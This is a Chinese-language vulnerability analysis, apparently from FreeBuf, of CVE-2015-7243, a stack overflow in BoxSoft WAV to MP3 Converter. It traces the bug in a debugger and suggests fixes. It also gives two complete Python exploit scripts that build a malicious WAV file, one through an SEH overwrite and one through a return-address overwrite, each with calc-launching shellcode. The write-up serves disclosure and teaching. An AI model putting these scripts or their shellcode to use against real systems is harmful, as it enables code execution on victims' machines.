BoxSoft WAV to MP3 Converter 软件漏洞分析(CVE-2015-7243)

2016-03-21 216681人围观 ,发现 4 个不明物体 漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

聚锋实验室:xiaomingsiu

1、软件介绍

BoxSoft WAV to MP3 Converter是一个100%免费功能强大的音频转换工具,可以批量的把WAV格式文件转换成高质量的MP3音频文件,它配备了标准的音频编码器,你可以设置比特率和一次转换多个音频文件,另一个方便的特性是可以设置热点目录,在wav转MP3时自动把文件写入该目录进行监视。

测试平台:Microsoft Windows XP Professional SP3 (中文版)

软件地址:http://www.boxoft.com/wav-to-mp3/

2、漏洞介绍

在用户使用本软件的时候,由于本软件编写过程中缺少对安全性溢出的检测;很容易造成黑客针对此软件编写特定的恶意代码,从而诱导用户打开含有恶意代码的mp3文件,对系统造成破坏,触发CVE-2015-7243漏洞。

在处理wav文件时,遇到头部开始的四字节不等于RIFF,没有结束处理而是继续读取文件寻找RIFF,直到遇到RIFF、读到文件末尾、读取的长度大于等于0×2000,三者其中之一才结束读取,但是处理函数并未分配如此大的空间用于存放读出的内容,所以我们只要构造不含有RIFF的超长字符串就会发生栈溢出,可导致执行任意代码,例如从指定地址下载恶意代码到本地运行。

漏洞等级:严重

poc地址:https://www.exploit-db.com/exploits/38035/

3、漏洞分析

(1)根据错误信息定位产生异常的代码

使用特定构造的wav文件,产生不可读的异常,载入到OD定位到地址0x004B9C7D处,由于[esi+eax]处所引用的地址不可读导致异常。

Image

使用栈回溯的方式,发现如下代码段修改了那处地址,在此循环中,由于未对循环的长度进行校检导致栈溢出,覆盖了局部变量,使里面保存的地址被替换,引起上面的异常。

Image

(2)使用工具分析此代码的产生异常的原因

使用PEID发现是DELPHI语言写的,因此载入到DEDEDARK,接下来分析此函数,函数开始时先读取wav前4个字节的内容AAAA保存在[esp + c]的位置(esp+c是一个字符数组首地址),之后是一个switch语句,开始时执行case 0。

Image

在case 0中首先判断头4个字节是否等于RIFF,不等于则继续读出1个字节,等于则读出4个字节,esi是存放读出数据的偏移,如果一直不等于则一直从文件中读,直到读到文件的末尾或者是esi大于等于0×2000,但是本函数内部并没有那么大的局部空间,因此产生溢出。

进入0x004B9C6C中循环判断读入的数据是否等于edx中保存的字符串,在比较的过程中忽略大小写,即小写的a与大写的A是一样的。

在case 1中,判断接下来读入的4个字节是否等于WAVE,不等于则读出1个字节,等于则读出4个字节,如果一直不等于一直读,处理方式和上面一样,因此这也是一个能够产生溢出的代码段。

在case 2中,判断读入的4个字节是否等于fmt  (第4个字节是空格),不等于则继续读4个字节,然后移动上次判断是否等于fmt 的4个字节到临时变量中,这个临时变量是下一次需要读出的字节数,这次读完后吧前两个字节继续放入临时变量中。最开始读出的4个字节等于fmt ,则读出四个字节放入临时变量,以临时变量作为个数继续读出数据后再读4个字节。

Image

(3)漏洞利用

知道了溢出的原理,接下来是利用此漏洞。首先使用覆盖SEH产生异常执行shellcode。寻找最近的SEH,地址为0x0105FEBC,保存文件读出来的内容数组首地址为0x0105EE98,因此先填充0×1024个A,然后填充”\xeb\x06\x90\x90″,接下来填充跳板地址,在xp中有safeSEH保护,则需要在未开启SEH的模块寻找跳板。首先查看本进程未开启SafeSEH的模块,结果只有主模块和msacm32.drv模块。

Image

选取主模块,查找pop pop ret指令,找到的地址为:0x040144c,接下来填充弹出计算器的,之后填充5860个A,用于使栈溢出到不可写的位置,以此来产生异常执行我们的异常函数,运行程序弹出计算器。

Image

EXP如下:

shellcode= ("\x33\xC0\x50\xB8\x2E\x64\x6C\x6C\x50\xB8\x65\x6C\x33\x32\x50\xB8"

                            "\x6B\x65\x72\x6E\x50\x8B\xC4\x50\xB8\x7B\x1D\x80\x7C\xFF\xD0\x33"

                            "\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4"

                            "\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA"

                            "\x81\x7C\xFF\xD0")

buffer ="\x41"*4132

buffer +="\xeb\x06\x90\x90"                                     # next seh  跳到shellcode处

buffer +="\x4c\x14\x40\x00"                               # esh

buffer +=shellcode

buffer +="\x41"*5860

f =open("crash3r.wav","w")

f.write(buffer)

f.close()

由于本程序没有启用GS,则可以采用覆盖返回地址的方式跳转到shellcode,首先找到保存返回地址的地址:0x0105FEB8,于是填充0×1020个A,查找jmp esp跳板地址充当返回地址执行我们的shellcode,地址为:0x0043F062,接下来填充shellcode,运行程序弹出计算器。

EXP如下:

shellcode= ("\x33\xC0\x50\xB8\x2E\x64\x6C\x6C\x50\xB8\x65\x6C\x33\x32\x50\xB8"

"\x6B\x65\x72\x6E\x50\x8B\xC4\x50\xB8\x7B\x1D\x80\x7C\xFF\xD0\x33"

"\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4"

"\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA"

"\x81\x7C\xFF\xD0")



buffer ="\x41"*4128

buffer +="\x62\xF0\x43\x00" # jmp esp

buffer +=shellcode



f =open("crash3r.wav","w")

f.write(buffer)

f.close()

4、修复方案:

(1)修改代码,一旦发现标志性字符串不匹配立即结束格式转换,而不是继续读取文件造成缓冲区溢出。

(2)增大保存wav文件内容的局部变量,使缓冲区足以在循环结束前存放格式判断的内容。

5、总结

在进行漏洞利用时首先需要对导致出现异常的代码进行分析,然后判断漏洞的类型,例如上面的缓冲区溢出漏洞,则可以填充超长字符串来对SEH或者返回地址进行覆盖,在选择跳板时,尽量选择自身模块,这样漏洞利用成功率会提高。

*作者:聚锋实验室,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

相关推荐

这些评论亮了

发表评论

已有 4 条评论

取消
Loading...
聚锋实验室

中电长城网际公司的聚锋实验室

5 文章数 1 评论数 0 关注者

特别推荐

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php